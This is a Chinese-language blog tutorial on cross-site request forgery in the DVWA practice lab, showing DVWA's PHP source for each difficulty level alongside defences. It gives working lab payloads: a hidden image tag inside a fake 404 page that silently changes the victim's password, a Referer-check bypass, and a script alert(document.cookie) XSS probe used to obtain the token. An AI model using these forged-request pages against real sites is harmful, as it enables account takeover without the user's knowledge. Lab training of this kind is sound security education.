DVWA简介及靶场实战-CSRF跨站请求伪造

一、DVWA介绍
DVWA(Damn Vulnerable Web Application)是randomstorm的一个开源项目。一个 用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
DVWA共有十个模块,分别是:
1.Brute Force(密码破解)
2.Command Injection(命令行注入)
3.CSRF(跨站请求伪造)
4.File Inclusion(文件包含)
5.File Upload(文件上传)
6.Insecure CAPTCHA (不安全的验证码)
7.SQL Injection(SQL注入)
8.SQL Injection(Blind)(SQL盲注)
9.XSS(Reflected)(反射型跨站脚本)
10.XSS(Stored)(存储型跨站脚本)

CSRF:

1.漏洞原理:

  CSRF(Cross-site request forgery),中文名叫做“跨站请求伪造”,也被称作“one click attack/session riding”,缩写为“CSRF/XSRF”。在场景中,攻击者会伪造一个请求(通常是一个链接),然后欺骗目标用户点击,一但用户点击,攻击也就完成了。
  同“XSS”的区别在于,CSRF是借助用户权限完成攻击,攻击者并没有拿到权限;而XSS是直接盗取用户甚至管理员的权限进行攻击,从而造成破坏。
  CSRF攻击可以利用用户已经登录或已经授权的状态,伪造合法用户发出请求给受信的网点,从而实现在未授权的情况下执行一些特权操作。

2.漏洞分类:

(1)GET型:
  GET型是CSRF攻击最常发生的情形。只要一个http请求就可以了。
  本质上,这样的逻辑代码设计本身就不合理,HTTP协议设计的初衷中,GET型请求就需要保证“幂等性”,即无论发出了多少次GET请求,和仅发出一次请求所产生的效果应该是相同的。这就保证了GET型操作仅能进行类似“查询”和“获取资源”资源这样的操作。
(2)POST型:
  POST请求是要把参数放在http的请求body里发送给服务器,所以POST类型的CSRF攻击仅需要用POST的方式发送请求。通常的方法就是创建(静态创建或动态创建)一个自动提交的表单。当用户点击或浏览有这样的表单的网页就会自动发生攻击。

3.漏洞危害:

  修改用户信息,如用户的头像、发货地址等。更有甚者,可能执行恶意操作,比如修 改密码、添加/删除好友或者点赞/转发/评论/私信。

4.检测和防护:

检测
(1)手动检测
  应首先确定Web应用程序对哪些操作是敏感的,在确认敏感操作后,拦截相应的HTTP请求消息,分析是否存在CSRF漏洞。
(2)半自动检测
  常用工具有OWASP的CSRFTester、BurpSuite的Scanner功能。
防护
●增加二次验证机制
  在敏感操作时候,不再直接通过某个请求执行,而是再次验证用户口令或者再次验证类似验证码等随机数。如:转账时,要求用户二次输入密码。
●校验HTTP Referer字段
  校验HTTP Referer字段可以保证相关敏感操作来自授权站点的跳转。在HTTP协议中,定义了一个访问来源的字段,即HTTP_REFERER。站点可以在后端校验Referer是否来自于正常的站内跳转。如果攻击者诱导用户点击跳转链接,则Referer就为攻击者的主机,与网站内部内部跳转情况下的Referer字段不同。
●增加Token参数进行校验
  在敏感操作的参数中,增加完全随机的Token参数进行校验。这是目前业内防止CSRF攻击最常用的方法。因为CSRF产生的根本原因是,进行敏感操作时用户每次发送的请求都完全相同。因此,攻击者就可以把这样的请求进行封装包裹,诱导用户点击链接并发出请求。而如果在进行敏感操作时,增加完全随机的Token参数,每次进行敏感操作时发送的请求都不完全相同,攻击者也就没有办法伪造出一个合法的敏感操作请求,也就无法实施CSRF攻击。

5.实战:

  (1)Low:
    代码分析:<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
        // Feedback for the user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        $html .= "<pre>Passwords did not match.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
我们可以看见low难度的源代码里面,没有隐藏的token,这样我们的难度就小了很多了。然后我们猜测这样输入的密码检测是直接将输入进行拼接,检验password_new与password_conf是否一致。
所以我们尝试修改为123456789,输入后显示“Password Changed”,我们尝试点击“Test Credentials”,然后进行登录操作,可以看见登录成功了,说明修改成功。
“http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456789&password_conf=123456789&Change=Change#”可以看出这里“password_new”和“password_conf”后面的就是我们修改的密码 。
所以在“WWW”目录下新建“1.html”,写入内容:
      <img src=”[上面的链接]” border=”0” style=”display:none;”/>
      <h1>404<h1>
      <h2>file not found.<h2>
    在现在这种情况下,我们打开1.html的时候,密码就会被修改为123456789(当然这里是诱骗人家打开这个链接,类似于钓鱼网站)
  (2)Medium:
    代码分析:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );
            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
            // Feedback for the user
            $html .= "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            $html .= "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        $html .= "<pre>That request didn't look correct.</pre>";
    }
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这里Medium级别的代码增加了referer的判断。这里的意思HTTP_REFERER和SERVER_NAME如果不是来自同一个域环境的话就无法进行到内部的循环,以及修改密码操作。
接下来我们开始尝试攻击,根据上面的代码分析,我们可以知道referer中只要出现HOST也就行,所以在恶意网站中这样操作就可以:
HOST 192.168.1.70(这个“192.168.1.70”是自己的IP)
Referer http://127.0.0.1/192.168.1.70.html(这里IP和)
这种情况就可以绕过,实现改密码。
首先我们在攻击的时候一样的先在网页根目录的DVWA文件中放一个命名为“ip地址.html”,然后写入:
<img=”http://192.168.1.102/dvwa-master/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#” border=”0” style=”display:none;”/>
<h1>404<h1>
<h2>file not found.<h2>
写好之后用IP地址命名,比如“192.168.1.70.html”然后放入网页根目录的DVWA文件中。
然后我们打开burp suite,对CSRF界面进行抓包,然后发送至Repeater地址改为http://攻击者服务器地址/dvwa/被攻击者IP地址.html格式,如下:
点击“Send”我们可以看见返回“Password Changed.”,证明修改成功,攻击成功。
最后我们测试登录成功,证明攻击成功。
(3)High:
    代码分析:
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
    if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
        array_key_exists("password_new", $data) &&
        array_key_exists("password_conf", $data) &&
        array_key_exists("Change", $data)) {
        $token = $_SERVER['HTTP_USER_TOKEN'];
        $pass_new = $data["password_new"];
        $pass_conf = $data["password_conf"];
        $change = true;
    }
} else {
    if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST)) {
        $token = $_REQUEST["user_token"];
        $pass_new = $_REQUEST["password_new"];
        $pass_conf = $_REQUEST["password_conf"];
        $change = true;
    }
}
if ($change) {
    // Check Anti-CSRF token
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
        $pass_new = md5( $pass_new );
        // Update the database
        $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );
        // Feedback for the user
        $return_message = "Password Changed.";
    }
    else {
        // Issue with passwords matching
        $return_message = "Passwords did not match.";
    }
    mysqli_close($GLOBALS["___mysqli_ston"]);
    if ($request_type == "json") {
        generateSessionToken();
        header ("Content-Type: application/json");
        print json_encode (array("Message" =>$return_message));
        exit;
    } else {
        $html .= "<pre>" . $return_message . "</pre>";
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这次在Medium的基础上有了token值,所以我们需要在攻击者的服务器上获取被攻击者的token值。
    CSRF攻击的本质是重要操作的所有参数,都可以被攻击者猜测到,所以token值是必须的。观察以下源码,这里是添加了Anti-CSRF token机制,用户每次到改密页面的时候,服务器会返回一个随机token,向服务器发起请求需要提交token参数,而在服务器收到请求的时候,会优先检查token,只有token正确才会处理客户端请求。
在观察得到以上的信息后,可以利用XSS,先用XSS执行代码获取token。“<script>alert(document.cookie)</script>”。可以得到以下token信息:
然后带上token进行Medium的操作就可以了。
  (4)Impossilbe:
代码分析:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );
    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();
    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );
        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();
        // Feedback for the user
        $html .= "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        $html .= "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看见这里现在需要用原密码才能修改密码,这种情况我们指定是不能用CSRF攻击了,所以没法进行攻击。
  • 19
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值